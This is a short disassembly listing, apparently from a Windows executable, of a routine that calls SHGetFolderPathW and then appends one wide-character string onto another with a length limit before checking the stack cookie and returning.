call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14000b185
xor al, al
jmp 0x14000b1d2
cmp word [rbx], 0
je 0x14000b19d
nop dword [rax + rax]
add rbx, 2
dec rdi
cmp word [rbx], 0
jne 0x14000b190
cmp word [rsp + 0x30], 0
je 0x14000b1cb
lea rcx, [rsp + 0x30]
sub rcx, rbx
nop dword [rax]
cmp rdi, 1
jb 0x14000b1f3
movzx eax, word [rcx + rbx]
dec rdi
mov word [rbx], ax
add rbx, 2
cmp word [rcx + rbx], 0
jne 0x14000b1b0
xor eax, eax
mov word [rbx], ax
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000c410
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
ret
call fcn.140010c0c
int3